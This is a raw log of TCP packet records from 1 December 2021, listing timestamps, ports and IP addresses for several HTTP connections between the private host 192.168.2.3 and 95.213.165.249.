Dec 1, 2021 10:04:41.141535997 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141536951 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141551971 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141567945 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141571045 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141587973 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141591072 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141597033 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141612053 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141630888 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141630888 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141644001 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141655922 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141674042 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141674042 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141686916 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141702890 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141706944 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141722918 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141725063 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141748905 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141771078 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.199213982 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.199235916 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.199250937 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.199264050 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.199279070 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.199295044 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.199312925 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.199331045 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.199346066 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.199348927 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.199413061 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.199420929 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.199424982 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.201585054 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.259077072 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:43.374437094 CET	49799	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.431924105 CET	80	49799	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:43.433259964 CET	49799	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.433692932 CET	49799	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.433708906 CET	49799	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.491511106 CET	80	49799	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:43.534595013 CET	80	49799	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:43.536020041 CET	49799	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.536062002 CET	49799	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.568285942 CET	49801	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.593632936 CET	80	49799	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:43.626818895 CET	80	49801	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:43.628869057 CET	49801	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.629026890 CET	49801	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.629034996 CET	49801	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.686640978 CET	80	49801	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:43.731081009 CET	80	49801	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:43.731383085 CET	49801	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.731411934 CET	49801	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.767398119 CET	49803	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.789072990 CET	80	49801	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:43.826574087 CET	80	49803	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:43.826845884 CET	49803	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.826879978 CET	49803	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.829688072 CET	49803	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.884805918 CET	80	49803	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:43.887303114 CET	80	49803	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:43.933253050 CET	80	49803	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:43.933506012 CET	49803	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.933592081 CET	49803	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.963759899 CET	49805	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:43.991151094 CET	80	49803	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.021677017 CET	80	49805	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.026263952 CET	49805	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.026300907 CET	49805	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.031203032 CET	49805	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.084300041 CET	80	49805	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.089004993 CET	80	49805	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.125761032 CET	80	49805	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.131551027 CET	49805	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.133012056 CET	49805	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.190996885 CET	80	49805	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.462968111 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.521236897 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.521409035 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.522725105 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.605958939 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.606004000 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.606045008 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.606076956 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.606112003 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.606149912 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.606182098 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.606208086 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.606254101 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.606265068 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.606304884 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.606353045 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.606390953 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.606406927 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.606447935 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.664412975 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664438009 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664453983 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664470911 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664484978 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664500952 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664521933 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.664534092 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664551020 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664566994 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664585114 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664597988 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.664609909 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664627075 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664635897 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.664652109 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664669037 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664694071 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664697886 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.664714098 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664730072 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664738894 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.664755106 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664767027 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.664778948 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664793015 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.664805889 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.664865017 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.722903967 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.722951889 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.722991943 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723031998 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723067999 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.723099947 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.723125935 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723165035 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723201990 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723232031 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.723270893 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723320961 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723340988 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.723376989 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723416090 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723443985 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.723474979 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723515034 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723535061 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.723572969 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723628998 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723640919 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.723680019 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723716974 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723736048 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.723773003 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723813057 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723835945 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.723876953 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723916054 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.723932981 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.723973036 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724009037 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724030972 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.724072933 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724112988 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724133015 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.724173069 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724209070 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724226952 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.724267960 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724307060 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724323988 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.724364996 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724402905 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724430084 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.724462032 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724500895 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724518061 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.724558115 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724596024 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724612951 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.724653959 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724699020 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724714041 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.724755049 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724792957 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724808931 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.724881887 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.724941969 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.782948017 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783023119 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783065081 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783109903 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.783140898 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783181906 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783205032 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.783243895 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783291101 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783308983 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.783349991 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783394098 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783412933 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.783452988 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783493042 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783519983 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.783560991 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783600092 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783615112 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.783653021 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783691883 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783711910 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.783751965 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783793926 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783818007 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.783859015 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783895969 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783911943 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.783951044 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.783991098 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784007072 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.784046888 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784085035 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784101963 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.784142017 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784183025 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784198999 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.784238100 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784276009 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784305096 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.784343004 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784383059 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784400940 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.784440041 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784482002 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784497976 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.784539938 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784579039 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784595013 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.784635067 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784691095 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784703970 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.784744024 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784782887 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784801006 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.784838915 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784894943 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.784924030 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.784961939 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.785016060 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.785027027 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.785068035 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.785106897 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.785123110 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.785160065 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.785211086 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.819576025 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.878366947 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.878428936 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.878474951 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.878525972 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.878545046 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.878593922 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.878612041 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.878653049 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.878695965 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.878714085 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.878757000 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.878794909 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.878833055 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.878850937 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.878889084 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.878909111 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.878950119 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.878979921 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879009962 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.879040003 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879076004 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879128933 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879139900 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.879179955 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879209995 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.879237890 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879278898 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879295111 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.879332066 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879370928 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879410982 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879429102 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.879475117 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879487038 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.879529953 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879568100 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879586935 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.879623890 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879662991 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879698992 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879718065 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.879761934 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879774094 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.879811049 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879851103 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879873991 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.879913092 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879951000 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.879981995 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.880009890 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.880047083 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.880068064 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.880101919 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.880141973 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.880178928 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.880199909 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.880237103 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.880254030 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.880294085 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.880335093 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.880352974 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.880392075 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.880431890 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.880467892 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.880491018 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.880527973 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.880546093 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.880584955 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.880625010 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.880662918 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.880681992 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.880718946 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.938930035 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.938987017 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939018965 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939049006 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939088106 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939126015 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939166069 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939205885 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939232111 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.939249992 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.939294100 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.939311981 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939353943 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939393044 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939409971 CET	49808	80	192.168.2.3	95.213.165.249
